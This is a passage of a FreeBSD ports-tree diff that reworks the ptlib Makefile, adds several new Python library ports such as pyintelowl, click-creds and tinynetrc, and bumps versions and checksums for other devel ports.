b/devel/p5-Project-Gantt/Makefile @@ -1,6 +1,6 @@ PORTNAME= Project-Gantt PORTVERSION= 1.03 -PORTREVISION= 8 +PORTREVISION= 9 CATEGORIES= devel perl5 MASTER_SITES= CPAN PKGNAMEPREFIX= p5- diff --git a/devel/ptlib/Makefile b/devel/ptlib/Makefile index 63d38fb9a98..4c77352c6a9 100644 --- a/devel/ptlib/Makefile +++ b/devel/ptlib/Makefile @@ -12,110 +12,73 @@ LICENSE= MPL10 LIB_DEPENDS= libexpat.so:textproc/expat2 -CONFLICTS= pwlib-1.* - USES= autoreconf:build bison:wrapper compiler:c11 gmake localbase:ldflags \ pathfix pkgconfig ssl tar:xz -GNU_CONFIGURE= yes +BROKEN_SSL= openssl30 openssl31 +BROKEN_SSL_REASON= Uses OpenSSL 3.0.0 deprecated BIO_s_file_internal USE_LDCONFIG= yes -CPPFLAGS+= -I${OPENSSLINC} -LDFLAGS+= -L${OPENSSLLIB} -CONFIGURE_ARGS+=--enable-audio \ +GNU_CONFIGURE= yes +CONFIGURE_ARGS=--disable-lua \ + --disable-sasl \ + --enable-audio \ --enable-ipv6 \ --enable-exceptions \ --enable-oss \ --enable-plugins - -CONFIGURE_ARGS+=--disable-lua \ - --disable-sasl - # --with-expat-dir="${LOCALBASE}" -CONFIGURE_ENV+= OPENSSL_CFLAGS="-I${OPENSSLINC}" \ +CONFIGURE_ENV= OPENSSL_CFLAGS="-I${OPENSSLINC}" \ OPENSSL_LIBS="-L${OPENSSLLIB} -lssl" -OPTIONS_DEFINE= DEBUG ODBC ALSA JABBER V4L SDL LDAP PULSEAUDIO -OPTIONS_DEFAULT=SDL V4L JABBER +ALL_TARGET= optshared -BSDVIDEO_DESC= BSD video support -DEBUG_DESC= Install debug library +CPPFLAGS+= -I${OPENSSLINC} +LDFLAGS+= -L${OPENSSLLIB} -.include - -.if (${OPSYS} == FreeBSD && ${OSVERSION} < 1300082) -OPTIONS_DEFINE+= BSDVIDEO -OPTIONS_DEFAULT+= BSDVIDEO -.endif - -.if (${OPSYS} == FreeBSD && ${SSL_DEFAULT} == base) || ${SSL_DEFAULT} == openssl -EXTRA_PATCHES+= ${FILESDIR}/extra-patch-src_ptclib_pssl.cxx-openssl111 -.else -EXTRA_PATCHES+= ${FILESDIR}/extra-patch-src_ptclib_pssl.cxx -.endif +CONFLICTS= pwlib-1.* PLIST_SUB+= PORTVERSION=${PORTVERSION} \ PVERSION_MAJOR=${PVERSION_MAJOR} \ PVERSION_MINOR=${PVERSION_MINOR} +OPTIONS_DEFINE= DEBUG BSDVIDEO ODBC ALSA JABBER V4L SDL LDAP PULSEAUDIO +OPTIONS_DEFAULT=BSDVIDEO SDL V4L JABBER +OPTIONS_EXCLUDE_FreeBSD_13= BSDVIDEO +OPTIONS_EXCLUDE_FreeBSD_14= BSDVIDEO +OPTIONS_SUB= yes + +BSDVIDEO_DESC= BSD video support + +ALSA_LIB_DEPENDS= libasound.so:audio/alsa-lib +ALSA_CONFIGURE_ENABLE=alsa +BSDVIDEO_CONFIGURE_ENABLE=bsdvideo +BSDVIDEO_VARS= PTLIB_VIDEO=1 +DEBUG_ALL_TARGET= debugshared +JABBER_CONFIGURE_ON=--enable-jabber +JABBER_VARS= PLLIB_VIDEO=1 +LDAP_USES= ldap +LDAP_CONFIGURE_ENABLE=openldap +ODBC_LIB_DEPENDS= libodbc.so:databases/unixODBC +ODBC_CONFIGURE_ENABLE= odbc +PULSEAUDIO_LIB_DEPENDS= libpulse.so:audio/pulseaudio +PULSEAUDIO_CONFIGURE_ENABLE=pulse +SDL_USES= sdl +SDL_USE= SDL=sdl +SDL_CONFIGURE_ENABLE=sdl +V4L_BUILD_DEPENDS= v4l_compat>=0:multimedia/v4l_compat +V4L_LIB_DEPENDS= libv4l2.so:multimedia/libv4l +V4L_CONFIGURE_ENABLE= v4l v4l2 +V4L_VARS= PTLIB_VIDEO=1 + PVERSION_MAJOR= ${PORTVERSION:C/.[0-9]+.[0-9]+.//} PVERSION_MINOR= ${PORTVERSION:C/.[0-9]+$//g} -.if ${PORT_OPTIONS:MDEBUG} -ALL_TARGET= optshared debugshared -PLIST_SUB+= DEBUG="" -.else -ALL_TARGET= optshared -PLIST_SUB+= DEBUG="@comment " -.endif +.include -.if ${PORT_OPTIONS:MPULSEAUDIO} -LIB_DEPENDS+= libpulse.so:audio/pulseaudio -CONFIGURE_ARGS+=--enable-pulse -PLIST_SUB+= PULSEAUDIO="" +.if (${OPSYS} == FreeBSD && ${SSL_DEFAULT} == base) || ${SSL_DEFAULT} == openssl +EXTRA_PATCHES+= ${FILESDIR}/extra-patch-src_ptclib_pssl.cxx-openssl111 .else -CONFIGURE_ARGS+=--disable-pulse -PLIST_SUB+= PULSEAUDIO="@comment " -.endif - -.if ${PORT_OPTIONS:MJABBER} -CONFIGURE_ARGS+=--enable-jabber -PLLIB_VIDEO=1 -.endif - -.if ${PORT_OPTIONS:MODBC} -LIB_DEPENDS+= libodbc.so:databases/unixODBC -CONFIGURE_ARGS+=--enable-odbc -.else -CONFIGURE_ARGS+=--disable-odbc -.endif - -.if ${PORT_OPTIONS:MALSA} -LIB_DEPENDS+= libasound.so:audio/alsa-lib -CONFIGURE_ARGS+=--enable-alsa -PLIST_SUB+= ALSA="" -.else -CONFIGURE_ARGS+=--disable-alsa -PLIST_SUB+= ALSA="@comment " -.endif - -.if ${PORT_OPTIONS:MBSDVIDEO} -CONFIGURE_ARGS+=--enable-bsdvideo -PLIST_SUB+= BSDVIDEO="" -PTLIB_VIDEO=1 -.else -CONFIGURE_ARGS+=--disable-bsdvideo -PLIST_SUB+= BSDVIDEO="@comment " -.endif - -.if ${PORT_OPTIONS:MV4L} -BUILD_DEPENDS+= v4l_compat>=0:multimedia/v4l_compat -LIB_DEPENDS+= libv4l2.so:multimedia/libv4l -CONFIGURE_ARGS+=--enable-v4l --enable-v4l2 -PLIST_SUB+= V4L="" -PTLIB_VIDEO=1 -.else -CONFIGURE_ARGS+=--disable-v4l --disable-v4l2 -PLIST_SUB+= V4L="@comment " +EXTRA_PATCHES+= ${FILESDIR}/extra-patch-src_ptclib_pssl.cxx .endif .if defined(PTLIB_VIDEO) @@ -126,21 +89,6 @@ CONFIGURE_ARGS+=--disable-video --disable-vidfile PLIST_SUB+= VIDEODIR="@comment " .endif -.if ${PORT_OPTIONS:MSDL} -USES+= sdl -USE_SDL+= sdl -CONFIGURE_ARGS+=--enable-sdl -.else -CONFIGURE_ARGS+=--disable-sdl -.endif - -.if ${PORT_OPTIONS:MLDAP} -USES+= ldap -CONFIGURE_ARGS+=--enable-openldap -.else -CONFIGURE_ARGS+=--disable-openldap -.endif - # ONLY FOR THE BRAVE! # If someone owns a firewire(4) video device and wants to use it for # video-conferencing purposes, please download the files: @@ -178,13 +126,13 @@ pre-configure: post-install: ${LN} -sf libpt.so.${PORTVERSION} ${STAGEDIR}${PREFIX}/lib/libpt.so.${PVERSION_MAJOR} ${LN} -sf libpt.so.${PORTVERSION} ${STAGEDIR}${PREFIX}/lib/libpt.so.${PVERSION_MINOR} -.if ${PORT_OPTIONS:MDEBUG} - ${LN} -sf libpt_d.so.${PORTVERSION} ${STAGEDIR}${PREFIX}/lib/libpt_d.so.${PVERSION_MAJOR} - ${LN} -sf libpt_d.so.${PORTVERSION} ${STAGEDIR}${PREFIX}/lib/libpt_d.so.${PVERSION_MINOR} -.endif @${CHMOD} 0755 ${STAGEDIR}${PREFIX}/lib/libpt.so.${PORTVERSION} \ ${STAGEDIR}${PREFIX}/lib/ptlib-${PORTVERSION}/devices/*/*.so @${STRIP_CMD} ${STAGEDIR}${PREFIX}/lib/libpt.so.${PORTVERSION} @${STRIP_CMD} ${STAGEDIR}${PREFIX}/lib/ptlib-${PORTVERSION}/devices/*/*.so +post-install-DEBUG-on: + ${LN} -sf libpt_d.so.${PORTVERSION} ${STAGEDIR}${PREFIX}/lib/libpt_d.so.${PVERSION_MAJOR} + ${LN} -sf libpt_d.so.${PORTVERSION} ${STAGEDIR}${PREFIX}/lib/libpt_d.so.${PVERSION_MINOR} + .include diff --git a/devel/py-click-creds/Makefile b/devel/py-click-creds/Makefile new file mode 100644 index 00000000000..ad67c6c8a20 --- /dev/null +++ b/devel/py-click-creds/Makefile @@ -0,0 +1,22 @@ +PORTNAME= click-creds +PORTVERSION= 0.0.3 +CATEGORIES= devel python +MASTER_SITES= PYPI +PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} + +MAINTAINER= acm@FreeBSD.org +COMMENT= Pluggable credentials storage and management for click cli apps +WWW= https://github.com/eshaan7/click-creds + +LICENSE= BSD3CLAUSE +LICENSE_FILE= ${WRKSRC}/LICENSE + +RUN_DEPENDS= ${PYTHON_PKGNAMEPREFIX}click>0:devel/py-click@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}tinynetrc>0:devel/py-tinynetrc@${PY_FLAVOR} + +USES= python:3.6+ +USE_PYTHON= autoplist distutils + +NO_ARCH= yes + +.include diff --git a/devel/py-click-creds/distinfo b/devel/py-click-creds/distinfo new file mode 100644 index 00000000000..8ef698b9206 --- /dev/null +++ b/devel/py-click-creds/distinfo @@ -0,0 +1,3 @@ +TIMESTAMP = 1680319054 +SHA256 (click-creds-0.0.3.tar.gz) = 1ee3e53ef25e7a5f13ca76033d450c648772cf9a1f8ea958b8fdcdf0aa87adfa +SIZE (click-creds-0.0.3.tar.gz) = 6573 diff --git a/devel/py-click-creds/pkg-descr b/devel/py-click-creds/pkg-descr new file mode 100644 index 00000000000..34ac9f157aa --- /dev/null +++ b/devel/py-click-creds/pkg-descr @@ -0,0 +1 @@ +Pluggable credentials storage and management for click CLI applications. diff --git a/devel/py-entrypoint2/Makefile b/devel/py-entrypoint2/Makefile new file mode 100644 index 00000000000..b1537f7a848 --- /dev/null +++ b/devel/py-entrypoint2/Makefile @@ -0,0 +1,19 @@ +PORTNAME= entrypoint2 +DISTVERSION= 1.1 +CATEGORIES= devel python +MASTER_SITES= PYPI +PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} + +MAINTAINER= acm@FreeBSD.org +COMMENT= easy to use command-line interface for Python modules +WWW= https://github.com/ponty/entrypoint2 + +LICENSE= BSD2CLAUSE +LICENSE_FILE= ${WRKSRC}/LICENSE.txt + +USES= python:3.6+ +USE_PYTHON= distutils autoplist + +NO_ARCH= yes + +.include diff --git a/devel/py-entrypoint2/distinfo b/devel/py-entrypoint2/distinfo new file mode 100644 index 00000000000..d1c0c8b52bb --- /dev/null +++ b/devel/py-entrypoint2/distinfo @@ -0,0 +1,3 @@ +TIMESTAMP = 1680279359 +SHA256 (entrypoint2-1.1.tar.gz) = fc0b7fe7b21acdab47a585ab9407ca7e5c4f96cb6888575db6b0ceb91f0e105a +SIZE (entrypoint2-1.1.tar.gz) = 13393 diff --git a/devel/py-entrypoint2/pkg-descr b/devel/py-entrypoint2/pkg-descr new file mode 100644 index 00000000000..1a98cdbcf92 --- /dev/null +++ b/devel/py-entrypoint2/pkg-descr @@ -0,0 +1,3 @@ +entrypoint2 is an easy to use argparse based command-line interface for python +modules. It translates function signature and documentation to argparse +configuration. diff --git a/devel/py-geocoder/Makefile b/devel/py-geocoder/Makefile new file mode 100644 index 00000000000..8e8f64de4ea --- /dev/null +++ b/devel/py-geocoder/Makefile @@ -0,0 +1,25 @@ +PORTNAME= geocoder +PORTVERSION= 1.38.1 +CATEGORIES= devel python +MASTER_SITES= PYPI +PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} + +MAINTAINER= acm@FreeBSD.org +COMMENT= Python geocoder +WWW= https://github.com/DenisCarriere/geocoder + +LICENSE= MIT +LICENSE_FILE= ${WRKSRC}/LICENSE + +RUN_DEPENDS= ${PYTHON_PKGNAMEPREFIX}click>0:devel/py-click@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}ratelim>0:devel/py-ratelim@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}requests>0:www/py-requests@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}six>0:devel/py-six@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}future>0:devel/py-future@${PY_FLAVOR} + +USES= python:3.6+ +USE_PYTHON= autoplist distutils + +NO_ARCH= yes + +.include diff --git a/devel/py-geocoder/distinfo b/devel/py-geocoder/distinfo new file mode 100644 index 00000000000..e1180afdcfc --- /dev/null +++ b/devel/py-geocoder/distinfo @@ -0,0 +1,3 @@ +TIMESTAMP = 1680320108 +SHA256 (geocoder-1.38.1.tar.gz) = c9925374c961577d0aee403b09e6f8ea1971d913f011f00ca70c76beaf7a77e7 +SIZE (geocoder-1.38.1.tar.gz) = 64345 diff --git a/devel/py-geocoder/pkg-descr b/devel/py-geocoder/pkg-descr new file mode 100644 index 00000000000..1d76cb38991 --- /dev/null +++ b/devel/py-geocoder/pkg-descr @@ -0,0 +1 @@ +Simple and consistent geocoding library written in Python diff --git a/devel/py-preshed/Makefile b/devel/py-preshed/Makefile index de3a780f3b8..d84968a41a0 100644 --- a/devel/py-preshed/Makefile +++ b/devel/py-preshed/Makefile @@ -1,5 +1,5 @@ PORTNAME= preshed -PORTVERSION= 3.0.8 +DISTVERSION= 4.0.0 CATEGORIES= devel python MASTER_SITES= PYPI PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} @@ -11,13 +11,16 @@ WWW= https://github.com/explosion/preshed LICENSE= MIT LICENSE_FILE= ${WRKSRC}/LICENSE -PY_DEPENDS= ${PYTHON_PKGNAMEPREFIX}cymem>=2.0.2,<2.1.0:devel/py-cymem@${PY_FLAVOR} \ - ${PYTHON_PKGNAMEPREFIX}murmurhash>=0.28.0,<1.1.0:devel/py-murmurhash@${PY_FLAVOR} -BUILD_DEPENDS= ${PY_DEPENDS} +PY_DEPENDS= ${PYTHON_PKGNAMEPREFIX}cymem>=2.0.2<2.1.0:devel/py-cymem@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}murmurhash>=0.28.0<1.1.0:devel/py-murmurhash@${PY_FLAVOR} +BUILD_DEPENDS= ${PY_DEPENDS} \ + ${PYTHON_PKGNAMEPREFIX}wheel>0:devel/py-wheel@${PY_FLAVOR} RUN_DEPENDS= ${PY_DEPENDS} USES= python:3.6+ -USE_PYTHON= cython distutils autoplist +USE_PYTHON= pep517 cython autoplist pytest # tests fail, see https://github.com/explosion/preshed/issues/45 + +TEST_ENV= ${MAKE_ENV} PYTHONPATH=${STAGEDIR}${PYTHONPREFIX_SITELIBDIR} post-install: @${STRIP_CMD} ${STAGEDIR}${PYTHONPREFIX_SITELIBDIR}/preshed/*.so diff --git a/devel/py-preshed/distinfo b/devel/py-preshed/distinfo index 17802319baa..2ef3f97da6e 100644 --- a/devel/py-preshed/distinfo +++ b/devel/py-preshed/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1679240186 -SHA256 (preshed-3.0.8.tar.gz) = 6c74c70078809bfddda17be96483c41d06d717934b07cab7921011d81758b357 -SIZE (preshed-3.0.8.tar.gz) = 14501 +TIMESTAMP = 1682874780 +SHA256 (preshed-4.0.0.tar.gz) = 5e2b0b2a07dd1a8deeaad6612019845c602ee24907f6936eaaf17aabd56e544c +SIZE (preshed-4.0.0.tar.gz) = 16273 diff --git a/devel/py-pyintelowl/Makefile b/devel/py-pyintelowl/Makefile new file mode 100644 index 00000000000..5cdd74c16bb --- /dev/null +++ b/devel/py-pyintelowl/Makefile @@ -0,0 +1,26 @@ +PORTNAME= pyintelowl +DISTVERSION= 4.4.2 +CATEGORIES= devel python +MASTER_SITES= PYPI +PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} + +MAINTAINER= acm@FreeBSD.org +COMMENT= Python SDK and Command Line Client for interacting with IntelOwl API +WWW= https://github.com/intelowlproject/pyintelowl + +LICENSE= AGPLv3 +LICENSE_FILE= ${WRKSRC}/LICENSE + +RUN_DEPENDS= ${PYTHON_PKGNAMEPREFIX}requests>0:www/py-requests@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}geocoder>0:devel/py-geocoder@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}click>0:devel/py-click@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}rich>0:textproc/py-rich@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}click-creds>0:devel/py-click-creds@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}typing-extensions>0:devel/py-typing-extensions@${PY_FLAVOR} + +USES= python:3.7+ +USE_PYTHON= distutils autoplist + +NO_ARCH= yes + +.include diff --git a/devel/py-pyintelowl/distinfo b/devel/py-pyintelowl/distinfo new file mode 100644 index 00000000000..3d236e502c5 --- /dev/null +++ b/devel/py-pyintelowl/distinfo @@ -0,0 +1,3 @@ +TIMESTAMP = 1680291896 +SHA256 (pyintelowl-4.4.2.tar.gz) = b87cf34ca3d2f6bf92a9a9d5c64e38de28fc5c21305fe338f19c4081f4caba38 +SIZE (pyintelowl-4.4.2.tar.gz) = 44419 diff --git a/devel/py-pyintelowl/pkg-descr b/devel/py-pyintelowl/pkg-descr new file mode 100644 index 00000000000..2f441991bb0 --- /dev/null +++ b/devel/py-pyintelowl/pkg-descr @@ -0,0 +1,13 @@ +Robust Python SDK and Command Line Client for interacting with IntelOwl's API. + +Features + +- Easy one-time configuration with self documented help and hints along the + way. +- Request new analysis for observables and files. +- Select which analyzers you want to run for every analysis you perform. +- Choose whether you want to HTTP poll for the analysis to finish or not. +- List all jobs or view one job in a prettified tabular form. +- List all tags or view one tag in a prettified tabular form. +- Tabular view of the analyzer_config.json and connector_config.json from + IntelOwl with RegEx matching capabilities. diff --git a/devel/py-pytweening/Makefile b/devel/py-pytweening/Makefile index fa021813e48..3d061f97c0e 100644 --- a/devel/py-pytweening/Makefile +++ b/devel/py-pytweening/Makefile @@ -1,5 +1,6 @@ PORTNAME= pytweening DISTVERSION= 1.0.5 +PORTREVISION= 2 CATEGORIES= devel python MASTER_SITES= PYPI PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} @@ -10,6 +11,10 @@ WWW= https://github.com/asweigart/pytweening LICENSE= BSD3CLAUSE +BUILD_DEPENDS= ${PYTHON_PKGNAMEPREFIX}setuptools>0:devel/py-setuptools@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}setuptools_scm>0:devel/py-setuptools_scm@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}wheel>0:devel/py-wheel@${PY_FLAVOR} + USES= dos2unix python:3.6+ USE_PYTHON= autoplist pep517 diff --git a/devel/py-pyzipper/Makefile b/devel/py-pyzipper/Makefile index 8c61f877b03..137def08dee 100644 --- a/devel/py-pyzipper/Makefile +++ b/devel/py-pyzipper/Makefile @@ -1,5 +1,6 @@ PORTNAME= pyzipper PORTVERSION= 0.3.5 +PORTREVISION= 1 CATEGORIES= devel python MASTER_SITES= PYPI PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} @@ -19,5 +20,6 @@ NO_ARCH= yes post-patch: @${RM} ${WRKSRC}/test/badsyntax_*.py + @${RM} ${WRKSRC}/test/__init__.py .include diff --git a/devel/py-ratelim/Makefile b/devel/py-ratelim/Makefile new file mode 100644 index 00000000000..2419e71315b --- /dev/null +++ b/devel/py-ratelim/Makefile @@ -0,0 +1,20 @@ +PORTNAME= ratelim +PORTVERSION= 0.1.6 +CATEGORIES= devel python +MASTER_SITES= PYPI +PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} + +MAINTAINER= acm@FreeBSD.org +COMMENT= Makes it easy to respect rate limits +WWW= https://github.com/themiurgo/ratelim + +LICENSE= MIT + +RUN_DEPENDS= ${PYTHON_PKGNAMEPREFIX}decorator>0:devel/py-decorator@${PY_FLAVOR} + +USES= python:3.6+ +USE_PYTHON= autoplist distutils + +NO_ARCH= yes + +.include diff --git a/devel/py-ratelim/distinfo b/devel/py-ratelim/distinfo new file mode 100644 index 00000000000..3a00f1c3ffa --- /dev/null +++ b/devel/py-ratelim/distinfo @@ -0,0 +1,3 @@ +TIMESTAMP = 1680320725 +SHA256 (ratelim-0.1.6.tar.gz) = 826d32177e11f9a12831901c9fda6679fd5bbea3605910820167088f5acbb11d +SIZE (ratelim-0.1.6.tar.gz) = 2793 diff --git a/devel/py-ratelim/pkg-descr b/devel/py-ratelim/pkg-descr new file mode 100644 index 00000000000..d66a0a20bac --- /dev/null +++ b/devel/py-ratelim/pkg-descr @@ -0,0 +1,9 @@ +Ratelim is a simple Python library that limits the number of times a function +can be called during a time interval. It is particularly useful when using +online APIs, which commonly enforce rate limits. + +Features + +- Works in Py2 and Py3. +- Greedy and patient rate limiting. +- Preserves function signature. diff --git a/devel/py-tinynetrc/Makefile b/devel/py-tinynetrc/Makefile new file mode 100644 index 00000000000..bea8a719fb7 --- /dev/null +++ b/devel/py-tinynetrc/Makefile @@ -0,0 +1,19 @@ +PORTNAME= tinynetrc +PORTVERSION= 1.3.1 +CATEGORIES= devel python +MASTER_SITES= PYPI +PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} + +MAINTAINER= acm@FreeBSD.org +COMMENT= Read and write netrc files in Python +WWW= https://github.com/sloria/tinynetrc + +LICENSE= MIT +LICENSE_FILE= ${WRKSRC}/LICENSE + +USES= python:3.6+ +USE_PYTHON= autoplist distutils + +NO_ARCH= yes + +.include diff --git a/devel/py-tinynetrc/distinfo b/devel/py-tinynetrc/distinfo new file mode 100644 index 00000000000..a30cd40b420 --- /dev/null +++ b/devel/py-tinynetrc/distinfo @@ -0,0 +1,3 @@ +TIMESTAMP = 1680319381 +SHA256 (tinynetrc-1.3.1.tar.gz) = 2b9a256d2e630643b8f0985f5e826ccf0bf3716e07e596a4f67feab363d254df +SIZE (tinynetrc-1.3.1.tar.gz) = 5484 diff --git a/devel/py-tinynetrc/pkg-descr b/devel/py-tinynetrc/pkg-descr new file mode 100644 index 00000000000..914475d458d --- /dev/null +++ b/devel/py-tinynetrc/pkg-descr @@ -0,0 +1,6 @@ +tinynetrc uses the netrc module from the standard library under the hood and +adds a few improvements: + +- Adds write functionality. +- Fixes a std lib bug with formatting a .netrc file.* +- Parses .netrc into dictionary values rather than tuples. diff --git a/devel/py-versioningit/Makefile b/devel/py-versioningit/Makefile new file mode 100644 index 00000000000..1ead6d5af1c --- /dev/null +++ b/devel/py-versioningit/Makefile @@ -0,0 +1,27 @@ +PORTNAME= versioningit +PORTVERSION= 2.2.0 +CATEGORIES= devel python +MASTER_SITES= PYPI +PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} + +MAINTAINER= dvl@FreeBSD.org +COMMENT= Obtain package version from repo tags +WWW= https://github.com/jwodder/versioningit + +LICENSE= MIT + +BUILD_DEPENDS= ${PYTHON_PKGNAMEPREFIX}setuptools>0:devel/py-setuptools@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}wheel>0:devel/py-wheel@${PY_FLAVOR} + +RUN_DEPENDS= ${PYTHON_PKGNAMEPREFIX}importlib-metadata>0:devel/py-importlib-metadata@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}packaging>0:devel/py-packaging@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}tomli>0:textproc/py-tomli@${PY_FLAVOR} \ + git>0:devel/git + +USES= python:3.7+ +USE_PYTHON= autoplist pep517 + +post-patch: + @${CP} ${FILESDIR}/setup.py ${WRKSRC}/ + +.include diff --git a/devel/py-versioningit/distinfo b/devel/py-versioningit/distinfo new file mode 100644 index 00000000000..9a6a9deb447 --- /dev/null +++ b/devel/py-versioningit/distinfo @@ -0,0 +1,3 @@ +TIMESTAMP = 1682769356 +SHA256 (versioningit-2.2.0.tar.gz) = 1e7d80cdeee2dbcebaf61d25205c9faac268a1926ff43fc5c7236f45639c3782 +SIZE (versioningit-2.2.0.tar.gz) = 594921 diff --git a/devel/py-versioningit/files/setup.py b/devel/py-versioningit/files/setup.py new file mode 100644 index 00000000000..606849326a4 --- /dev/null +++ b/devel/py-versioningit/files/setup.py @@ -0,0 +1,3 @@ +from setuptools import setup + +setup() diff --git a/devel/py-versioningit/pkg-descr b/devel/py-versioningit/pkg-descr new file mode 100644 index 00000000000..b094ebecae7 --- /dev/null +++ b/devel/py-versioningit/pkg-descr @@ -0,0 +1,14 @@ +versioningit replaces the need for (and will overwrite) the version keyword +to the setup() function, so you should remove any such keyword from your +setup.py/setup.cfg to reduce confusion. + +[tool.versioningit.format] + +# Format used when there have been commits since the most recent tag: +distance = "{base_version}.post{distance}+{vcs}{rev}" + +# Format used when there are uncommitted changes: +dirty = "{base_version}+d{build_date:%Y%m%d}" + +# Format used when there are both commits and uncommitted changes: +distance-dirty = "{base_version}.post{distance}+{vcs}{rev}.d{build_date:%Y%m%d}" diff --git a/devel/qcoro/Makefile b/devel/qcoro/Makefile index 70dc9d22159..c1c6bdd5978 100644 --- a/devel/qcoro/Makefile +++ b/devel/qcoro/Makefile @@ -1,6 +1,6 @@ PORTNAME= qcoro DISTVERSIONPREFIX= v -DISTVERSION= 0.8.0 +DISTVERSION= 0.9.0 CATEGORIES= devel kde PKGNAMESUFFIX= -${FLAVOR} diff --git a/devel/qcoro/distinfo b/devel/qcoro/distinfo index e12d5f1db12..69d1bf8ccab 100644 --- a/devel/qcoro/distinfo +++ b/devel/qcoro/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1675711365 -SHA256 (danvratil-qcoro-v0.8.0_GH0.tar.gz) = 28f90d817f42352084242f7a1ff090c5cff92359e4dbecea8f04d39ebcf630f8 -SIZE (danvratil-qcoro-v0.8.0_GH0.tar.gz) = 139254 +TIMESTAMP = 1682703175 +SHA256 (danvratil-qcoro-v0.9.0_GH0.tar.gz) = cfaf6b778450f06adac4ce5e353eb6eae213a3b62b8c8740520d58cf9fe3ec1a +SIZE (danvratil-qcoro-v0.9.0_GH0.tar.gz) = 143270 diff --git a/devel/qcoro/pkg-plist b/devel/qcoro/pkg-plist index 0a182d4513b..660e3d1753f 100644 --- a/devel/qcoro/pkg-plist +++ b/devel/qcoro/pkg-plist @@ -19,6 +19,7 @@ include/qcoro%%QT_VER%%/QCoro/QCoroQmlTask include/qcoro%%QT_VER%%/QCoro/QCoroSignal include/qcoro%%QT_VER%%/QCoro/QCoroTask include/qcoro%%QT_VER%%/QCoro/QCoroTcpServer +include/qcoro%%QT_VER%%/QCoro/QCoroTest include/qcoro%%QT_VER%%/QCoro/QCoroThread include/qcoro%%QT_VER%%/QCoro/QCoroTimer include/qcoro%%QT_VER%%/QCoro/QCoroWebSocket @@ -55,6 +56,7 @@ include/qcoro%%QT_VER%%/qcoro/qcoroquick_export.h include/qcoro%%QT_VER%%/qcoro/qcorosignal.h include/qcoro%%QT_VER%%/qcoro/qcorotask.h include/qcoro%%QT_VER%%/qcoro/qcorotcpserver.h +include/qcoro%%QT_VER%%/qcoro/qcorotest.h include/qcoro%%QT_VER%%/qcoro/qcorothread.h include/qcoro%%QT_VER%%/qcoro/qcorotimer.h include/qcoro%%QT_VER%%/qcoro/qcorowebsocket.h @@ -89,6 +91,9 @@ lib/cmake/QCoro%%QT_VER%%Quick/QCoro%%QT_VER%%QuickConfig.cmake lib/cmake/QCoro%%QT_VER%%Quick/QCoro%%QT_VER%%QuickConfigVersion.cmake lib/cmake/QCoro%%QT_VER%%Quick/QCoro%%QT_VER%%QuickTargets-%%CMAKE_BUILD_TYPE%%.cmake lib/cmake/QCoro%%QT_VER%%Quick/QCoro%%QT_VER%%QuickTargets.cmake +lib/cmake/QCoro%%QT_VER%%Test/QCoro%%QT_VER%%TestConfig.cmake +lib/cmake/QCoro%%QT_VER%%Test/QCoro%%QT_VER%%TestConfigVersion.cmake +lib/cmake/QCoro%%QT_VER%%Test/QCoro%%QT_VER%%TestTargets.cmake lib/cmake/QCoro%%QT_VER%%WebSockets/QCoro%%QT_VER%%WebSocketsConfig.cmake lib/cmake/QCoro%%QT_VER%%WebSockets/QCoro%%QT_VER%%WebSocketsConfigVersion.cmake lib/cmake/QCoro%%QT_VER%%WebSockets/QCoro%%QT_VER%%WebSocketsTargets-%%CMAKE_BUILD_TYPE%%.cmake @@ -105,4 +110,5 @@ lib/libQCoro%%QT_VER%%WebSockets.a %%QT_MKSPECDIR%%/modules/qt_QCoroNetwork.pri %%QT_MKSPECDIR%%/modules/qt_QCoroQml.pri %%QT_MKSPECDIR%%/modules/qt_QCoroQuick.pri +%%QT_MKSPECDIR%%/modules/qt_QCoroTest.pri %%QT_MKSPECDIR%%/modules/qt_QCoroWebSockets.pri diff --git a/devel/qt5-qmake/Makefile b/devel/qt5-qmake/Makefile index 147f7b17cb9..548114ce401 100644 --- a/devel/qt5-qmake/Makefile +++ b/devel/qt5-qmake/Makefile @@ -1,5 +1,6 @@ PORTNAME= qmake PORTVERSION= ${QT5_VERSION}${QT5_KDE_PATCH} +PORTREVISION= 2 CATEGORIES= devel PKGNAMEPREFIX= qt5- diff --git a/devel/rinutils/Makefile b/devel/rinutils/Makefile index a5546630da2..72003e30912 100644 --- a/devel/rinutils/Makefile +++ b/devel/rinutils/Makefile @@ -1,5 +1,5 @@ PORTNAME= rinutils -DISTVERSION= 0.10.1 +DISTVERSION= 0.10.2 CATEGORIES= devel MASTER_SITES= https://github.com/shlomif/${PORTNAME}/releases/download/${DISTVERSION}/ diff --git a/devel/rinutils/distinfo b/devel/rinutils/distinfo index e15bf95a48e..190a80f0b09 100644 --- a/devel/rinutils/distinfo +++ b/devel/rinutils/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1653320958 -SHA256 (rinutils-0.10.1.tar.xz) = 